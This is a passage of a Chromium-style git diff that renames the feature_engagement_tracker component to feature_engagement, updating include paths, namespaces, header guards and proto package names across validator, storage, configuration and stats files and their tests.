+namespace feature_engagement {
 
 namespace {
 
@@ -70,4 +70,4 @@
   EXPECT_TRUE(success_.value());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/never_condition_validator.cc b/components/feature_engagement/internal/never_condition_validator.cc
similarity index 81%
rename from components/feature_engagement_tracker/internal/never_condition_validator.cc
rename to components/feature_engagement/internal/never_condition_validator.cc
index e72a38a1..038eedf 100644
--- a/components/feature_engagement_tracker/internal/never_condition_validator.cc
+++ b/components/feature_engagement/internal/never_condition_validator.cc
@@ -2,9 +2,9 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/never_condition_validator.h"
+#include "components/feature_engagement/internal/never_condition_validator.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 NeverConditionValidator::NeverConditionValidator() = default;
 
@@ -23,4 +23,4 @@
 
 void NeverConditionValidator::NotifyDismissed(const base::Feature& feature) {}
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/never_condition_validator.h b/components/feature_engagement/internal/never_condition_validator.h
similarity index 67%
rename from components/feature_engagement_tracker/internal/never_condition_validator.h
rename to components/feature_engagement/internal/never_condition_validator.h
index 5e3e8d04..b915f838 100644
--- a/components/feature_engagement_tracker/internal/never_condition_validator.h
+++ b/components/feature_engagement/internal/never_condition_validator.h
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_CONDITION_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_CONDITION_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_CONDITION_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_CONDITION_VALIDATOR_H_
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/condition_validator.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/condition_validator.h"
+#include "components/feature_engagement/public/feature_list.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class AvailabilityModel;
 class EventModel;
 
@@ -38,6 +38,6 @@
   DISALLOW_COPY_AND_ASSIGN(NeverConditionValidator);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_CONDITION_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_CONDITION_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/never_condition_validator_unittest.cc b/components/feature_engagement/internal/never_condition_validator_unittest.cc
similarity index 79%
rename from components/feature_engagement_tracker/internal/never_condition_validator_unittest.cc
rename to components/feature_engagement/internal/never_condition_validator_unittest.cc
index ae62a61..bcf1b52 100644
--- a/components/feature_engagement_tracker/internal/never_condition_validator_unittest.cc
+++ b/components/feature_engagement/internal/never_condition_validator_unittest.cc
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/never_condition_validator.h"
+#include "components/feature_engagement/internal/never_condition_validator.h"
 
 #include <string>
 
 #include "base/feature_list.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -68,4 +68,4 @@
                    .NoErrors());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/never_event_storage_validator.cc b/components/feature_engagement/internal/never_event_storage_validator.cc
similarity index 78%
rename from components/feature_engagement_tracker/internal/never_event_storage_validator.cc
rename to components/feature_engagement/internal/never_event_storage_validator.cc
index 120921a..521cb553 100644
--- a/components/feature_engagement_tracker/internal/never_event_storage_validator.cc
+++ b/components/feature_engagement/internal/never_event_storage_validator.cc
@@ -2,9 +2,9 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/never_event_storage_validator.h"
+#include "components/feature_engagement/internal/never_event_storage_validator.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 NeverEventStorageValidator::NeverEventStorageValidator() = default;
 
@@ -21,4 +21,4 @@
   return false;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/never_event_storage_validator.h b/components/feature_engagement/internal/never_event_storage_validator.h
similarity index 64%
rename from components/feature_engagement_tracker/internal/never_event_storage_validator.h
rename to components/feature_engagement/internal/never_event_storage_validator.h
index 442bcff..10ed679 100644
--- a/components/feature_engagement_tracker/internal/never_event_storage_validator.h
+++ b/components/feature_engagement/internal/never_event_storage_validator.h
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_EVENT_STORAGE_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_EVENT_STORAGE_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_EVENT_STORAGE_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_EVENT_STORAGE_VALIDATOR_H_
 
 #include <string>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/event_storage_validator.h"
+#include "components/feature_engagement/internal/event_storage_validator.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A EventStorageValidator that never acknowledges that an event should be kept
 // or stored.
@@ -29,6 +29,6 @@
   DISALLOW_COPY_AND_ASSIGN(NeverEventStorageValidator);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_EVENT_STORAGE_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_EVENT_STORAGE_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/never_event_storage_validator_unittest.cc b/components/feature_engagement/internal/never_event_storage_validator_unittest.cc
similarity index 83%
rename from components/feature_engagement_tracker/internal/never_event_storage_validator_unittest.cc
rename to components/feature_engagement/internal/never_event_storage_validator_unittest.cc
index 40ae47f..42157625 100644
--- a/components/feature_engagement_tracker/internal/never_event_storage_validator_unittest.cc
+++ b/components/feature_engagement/internal/never_event_storage_validator_unittest.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/never_event_storage_validator.h"
+#include "components/feature_engagement/internal/never_event_storage_validator.h"
 
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -33,4 +33,4 @@
   EXPECT_FALSE(validator_.ShouldKeep("dummy event", 101, 100));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/once_condition_validator.cc b/components/feature_engagement/internal/once_condition_validator.cc
similarity index 80%
rename from components/feature_engagement_tracker/internal/once_condition_validator.cc
rename to components/feature_engagement/internal/once_condition_validator.cc
index 568b45f7a..3b6cfa4 100644
--- a/components/feature_engagement_tracker/internal/once_condition_validator.cc
+++ b/components/feature_engagement/internal/once_condition_validator.cc
@@ -2,12 +2,12 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/once_condition_validator.h"
+#include "components/feature_engagement/internal/once_condition_validator.h"
 
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/event_model.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 OnceConditionValidator::OnceConditionValidator() = default;
 
@@ -44,4 +44,4 @@
   currently_showing_feature_.clear();
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/once_condition_validator.h b/components/feature_engagement/internal/once_condition_validator.h
similarity index 79%
rename from components/feature_engagement_tracker/internal/once_condition_validator.h
rename to components/feature_engagement/internal/once_condition_validator.h
index d343993..0bafc34 100644
--- a/components/feature_engagement_tracker/internal/once_condition_validator.h
+++ b/components/feature_engagement/internal/once_condition_validator.h
@@ -2,20 +2,20 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_ONCE_CONDITION_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_ONCE_CONDITION_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_ONCE_CONDITION_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_ONCE_CONDITION_VALIDATOR_H_
 
 #include <unordered_set>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/condition_validator.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/condition_validator.h"
+#include "components/feature_engagement/public/feature_list.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class AvailabilityModel;
 class EventModel;
 
@@ -58,6 +58,6 @@
   DISALLOW_COPY_AND_ASSIGN(OnceConditionValidator);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_ONCE_CONDITION_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_ONCE_CONDITION_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/once_condition_validator_unittest.cc b/components/feature_engagement/internal/once_condition_validator_unittest.cc
similarity index 91%
rename from components/feature_engagement_tracker/internal/once_condition_validator_unittest.cc
rename to components/feature_engagement/internal/once_condition_validator_unittest.cc
index 4a9b14c..aae7c62 100644
--- a/components/feature_engagement_tracker/internal/once_condition_validator_unittest.cc
+++ b/components/feature_engagement/internal/once_condition_validator_unittest.cc
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/once_condition_validator.h"
+#include "components/feature_engagement/internal/once_condition_validator.h"
 
 #include <string>
 
 #include "base/feature_list.h"
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -151,4 +151,4 @@
                   .NoErrors());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/persistent_availability_store.cc b/components/feature_engagement/internal/persistent_availability_store.cc
similarity index 93%
rename from components/feature_engagement_tracker/internal/persistent_availability_store.cc
rename to components/feature_engagement/internal/persistent_availability_store.cc
index 3059bff..d5f4fd0e 100644
--- a/components/feature_engagement_tracker/internal/persistent_availability_store.cc
+++ b/components/feature_engagement/internal/persistent_availability_store.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/persistent_availability_store.h"
+#include "components/feature_engagement/internal/persistent_availability_store.h"
 
 #include <memory>
 #include <string>
@@ -13,12 +13,12 @@
 #include "base/callback.h"
 #include "base/feature_list.h"
 #include "base/memory/ptr_util.h"
-#include "components/feature_engagement_tracker/internal/proto/availability.pb.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/proto/availability.pb.h"
+#include "components/feature_engagement/internal/stats.h"
+#include "components/feature_engagement/public/feature_list.h"
 #include "components/leveldb_proto/proto_database.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -155,4 +155,4 @@
                               std::move(on_loaded_callback), current_day));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/persistent_availability_store.h b/components/feature_engagement/internal/persistent_availability_store.h
similarity index 79%
rename from components/feature_engagement_tracker/internal/persistent_availability_store.h
rename to components/feature_engagement/internal/persistent_availability_store.h
index 4780a61..808d0cfb3 100644
--- a/components/feature_engagement_tracker/internal/persistent_availability_store.h
+++ b/components/feature_engagement/internal/persistent_availability_store.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_PERSISTENT_AVAILABILITY_STORE_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_PERSISTENT_AVAILABILITY_STORE_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_PERSISTENT_AVAILABILITY_STORE_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_PERSISTENT_AVAILABILITY_STORE_H_
 
 #include <stdint.h>
 
@@ -12,15 +12,15 @@
 
 #include "base/callback_forward.h"
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/proto/availability.pb.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/proto/availability.pb.h"
+#include "components/feature_engagement/public/feature_list.h"
 #include "components/leveldb_proto/proto_database.h"
 
 namespace base {
 class FilePath;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // An PersistentAvailabilityStore provides a way to load and update the
 // availability date for all registered features.
@@ -56,6 +56,6 @@
   DISALLOW_COPY_AND_ASSIGN(PersistentAvailabilityStore);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_PERSISTENT_AVAILABILITY_STORE_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_PERSISTENT_AVAILABILITY_STORE_H_
diff --git a/components/feature_engagement_tracker/internal/persistent_availability_store_unittest.cc b/components/feature_engagement/internal/persistent_availability_store_unittest.cc
similarity index 96%
rename from components/feature_engagement_tracker/internal/persistent_availability_store_unittest.cc
rename to components/feature_engagement/internal/persistent_availability_store_unittest.cc
index b003d5f..8e204e9 100644
--- a/components/feature_engagement_tracker/internal/persistent_availability_store_unittest.cc
+++ b/components/feature_engagement/internal/persistent_availability_store_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/persistent_availability_store.h"
+#include "components/feature_engagement/internal/persistent_availability_store.h"
 
 #include <stdint.h>
 
@@ -18,13 +18,13 @@
 #include "base/memory/ptr_util.h"
 #include "base/optional.h"
 #include "base/test/scoped_feature_list.h"
-#include "components/feature_engagement_tracker/internal/proto/availability.pb.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/proto/availability.pb.h"
+#include "components/feature_engagement/public/feature_list.h"
 #include "components/leveldb_proto/proto_database.h"
 #include "components/leveldb_proto/testing/fake_db.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 const base::Feature kTestFeatureFoo{"test_foo",
@@ -292,4 +292,4 @@
   EXPECT_EQ(0u, db_availabilities_.size());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/persistent_event_store.cc b/components/feature_engagement/internal/persistent_event_store.cc
similarity index 91%
rename from components/feature_engagement_tracker/internal/persistent_event_store.cc
rename to components/feature_engagement/internal/persistent_event_store.cc
index 681c0f70..6dfccc2 100644
--- a/components/feature_engagement_tracker/internal/persistent_event_store.cc
+++ b/components/feature_engagement/internal/persistent_event_store.cc
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/persistent_event_store.h"
+#include "components/feature_engagement/internal/persistent_event_store.h"
 
 #include <vector>
 
 #include "base/bind.h"
 #include "base/memory/ptr_util.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
+#include "components/feature_engagement/internal/stats.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 namespace {
 // Corresponds to a UMA suffix "LevelDBOpenResults" in histograms.xml.
 // Please do not change.
@@ -88,4 +88,4 @@
   callback.Run(success, std::move(entries));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/persistent_event_store.h b/components/feature_engagement/internal/persistent_event_store.h
similarity index 79%
rename from components/feature_engagement_tracker/internal/persistent_event_store.h
rename to components/feature_engagement/internal/persistent_event_store.h
index c306c1546..753ced3 100644
--- a/components/feature_engagement_tracker/internal/persistent_event_store.h
+++ b/components/feature_engagement/internal/persistent_event_store.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_PERSISTENT_EVENT_STORE_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_PERSISTENT_EVENT_STORE_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_PERSISTENT_EVENT_STORE_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_PERSISTENT_EVENT_STORE_H_
 
 #include <memory>
 #include <vector>
@@ -11,11 +11,11 @@
 #include "base/files/file_path.h"
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
-#include "components/feature_engagement_tracker/internal/event_store.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/event_store.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 #include "components/leveldb_proto/proto_database.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A PersistentEventStore provides a DB layer that persists the data to disk.
 // The data is retrieved once during the load process and after that this store
@@ -54,6 +54,6 @@
   DISALLOW_COPY_AND_ASSIGN(PersistentEventStore);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_PERSISTENT_EVENT_STORE_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_PERSISTENT_EVENT_STORE_H_
diff --git a/components/feature_engagement_tracker/internal/persistent_event_store_unittest.cc b/components/feature_engagement/internal/persistent_event_store_unittest.cc
similarity index 94%
rename from components/feature_engagement_tracker/internal/persistent_event_store_unittest.cc
rename to components/feature_engagement/internal/persistent_event_store_unittest.cc
index 13b08d15..46e48cd 100644
--- a/components/feature_engagement_tracker/internal/persistent_event_store_unittest.cc
+++ b/components/feature_engagement/internal/persistent_event_store_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/persistent_event_store.h"
+#include "components/feature_engagement/internal/persistent_event_store.h"
 
 #include <map>
 
@@ -10,14 +10,14 @@
 #include "base/memory/ptr_util.h"
 #include "base/optional.h"
 #include "base/test/histogram_tester.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
-#include "components/feature_engagement_tracker/internal/stats.h"
-#include "components/feature_engagement_tracker/internal/test/event_util.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/stats.h"
+#include "components/feature_engagement/internal/test/event_util.h"
 #include "components/leveldb_proto/proto_database.h"
 #include "components/leveldb_proto/testing/fake_db.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -248,4 +248,4 @@
   EXPECT_EQ(db_events_.end(), it);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/proto/BUILD.gn b/components/feature_engagement/internal/proto/BUILD.gn
similarity index 100%
rename from components/feature_engagement_tracker/internal/proto/BUILD.gn
rename to components/feature_engagement/internal/proto/BUILD.gn
diff --git a/components/feature_engagement_tracker/internal/proto/availability.proto b/components/feature_engagement/internal/proto/availability.proto
similarity index 87%
rename from components/feature_engagement_tracker/internal/proto/availability.proto
rename to components/feature_engagement/internal/proto/availability.proto
index 97dfd4b..cc389da 100644
--- a/components/feature_engagement_tracker/internal/proto/availability.proto
+++ b/components/feature_engagement/internal/proto/availability.proto
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 //
-// FeatureEngagementTracker content.
+// feature_engagement::AvailabilityModel content.
 
 syntax = "proto2";
 
 option optimize_for = LITE_RUNTIME;
 
-package feature_engagement_tracker;
+package feature_engagement;
 
 // Availability stores state for the availability of a particular feature.
 message Availability {
diff --git a/components/feature_engagement_tracker/internal/proto/event.proto b/components/feature_engagement/internal/proto/event.proto
similarity index 89%
rename from components/feature_engagement_tracker/internal/proto/event.proto
rename to components/feature_engagement/internal/proto/event.proto
index 9b619a2..9f59b52 100644
--- a/components/feature_engagement_tracker/internal/proto/event.proto
+++ b/components/feature_engagement/internal/proto/event.proto
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 //
-// FeatureEngagementTracker content.
+// feature_engagement::EventModel content.
 
 syntax = "proto2";
 
 option optimize_for = LITE_RUNTIME;
 
-package feature_engagement_tracker;
+package feature_engagement;
 
 // Event stores state for a specific event a count per day it has happened.
 message Event {
diff --git a/components/feature_engagement_tracker/internal/single_invalid_configuration.cc b/components/feature_engagement/internal/single_invalid_configuration.cc
similarity index 76%
rename from components/feature_engagement_tracker/internal/single_invalid_configuration.cc
rename to components/feature_engagement/internal/single_invalid_configuration.cc
index 518fd63..5d06652 100644
--- a/components/feature_engagement_tracker/internal/single_invalid_configuration.cc
+++ b/components/feature_engagement/internal/single_invalid_configuration.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/single_invalid_configuration.h"
+#include "components/feature_engagement/internal/single_invalid_configuration.h"
 
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 SingleInvalidConfiguration::SingleInvalidConfiguration() {
   invalid_feature_config_.valid = false;
@@ -30,4 +30,4 @@
   return configs_;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/single_invalid_configuration.h b/components/feature_engagement/internal/single_invalid_configuration.h
similarity index 72%
rename from components/feature_engagement_tracker/internal/single_invalid_configuration.h
rename to components/feature_engagement/internal/single_invalid_configuration.h
index 1e069be..de6ce42c 100644
--- a/components/feature_engagement_tracker/internal/single_invalid_configuration.h
+++ b/components/feature_engagement/internal/single_invalid_configuration.h
@@ -2,20 +2,20 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_SINGLE_INVALID_CONFIGURATION_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_SINGLE_INVALID_CONFIGURATION_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_SINGLE_INVALID_CONFIGURATION_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_SINGLE_INVALID_CONFIGURATION_H_
 
 #include <string>
 #include <unordered_set>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 
 namespace base {
 struct Feature;
 }  // namespace base
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // An Configuration that always returns the same single invalid configuration,
 // regardless of which feature. Also holds an empty ConfigMap.
@@ -41,6 +41,6 @@
   DISALLOW_COPY_AND_ASSIGN(SingleInvalidConfiguration);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_SINGLE_INVALID_CONFIGURATION_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_SINGLE_INVALID_CONFIGURATION_H_
diff --git a/components/feature_engagement_tracker/internal/single_invalid_configuration_unittest.cc b/components/feature_engagement/internal/single_invalid_configuration_unittest.cc
similarity index 81%
rename from components/feature_engagement_tracker/internal/single_invalid_configuration_unittest.cc
rename to components/feature_engagement/internal/single_invalid_configuration_unittest.cc
index ed6ebba..c8f369c 100644
--- a/components/feature_engagement_tracker/internal/single_invalid_configuration_unittest.cc
+++ b/components/feature_engagement/internal/single_invalid_configuration_unittest.cc
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/single_invalid_configuration.h"
+#include "components/feature_engagement/internal/single_invalid_configuration.h"
 
 #include "base/feature_list.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
+#include "components/feature_engagement/internal/configuration.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -38,4 +38,4 @@
   EXPECT_FALSE(bar_config.valid);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/stats.cc b/components/feature_engagement/internal/stats.cc
similarity index 96%
rename from components/feature_engagement_tracker/internal/stats.cc
rename to components/feature_engagement/internal/stats.cc
index 79b78cf..5cc79b2 100644
--- a/components/feature_engagement_tracker/internal/stats.cc
+++ b/components/feature_engagement/internal/stats.cc
@@ -2,16 +2,16 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/stats.h"
+#include "components/feature_engagement/internal/stats.h"
 
 #include <string>
 
 #include "base/metrics/histogram_functions.h"
 #include "base/metrics/histogram_macros.h"
 #include "base/metrics/user_metrics.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/public/feature_list.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 namespace stats {
 namespace {
 
@@ -207,4 +207,4 @@
 }
 
 }  // namespace stats
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/stats.h b/components/feature_engagement/internal/stats.h
similarity index 88%
rename from components/feature_engagement_tracker/internal/stats.h
rename to components/feature_engagement/internal/stats.h
index f1de6bd..1a40220 100644
--- a/components/feature_engagement_tracker/internal/stats.h
+++ b/components/feature_engagement/internal/stats.h
@@ -2,17 +2,17 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_STATS_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_STATS_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_STATS_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_STATS_H_
 
 #include <string>
 #include <vector>
 
-#include "components/feature_engagement_tracker/internal/condition_validator.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/condition_validator.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 namespace stats {
 
 // Enum used in the metrics to record the result when in-product help UI is
@@ -145,6 +145,6 @@
 void RecordConfigParsingEvent(ConfigParsingEvent event);
 
 }  // namespace stats
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_STATS_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_STATS_H_
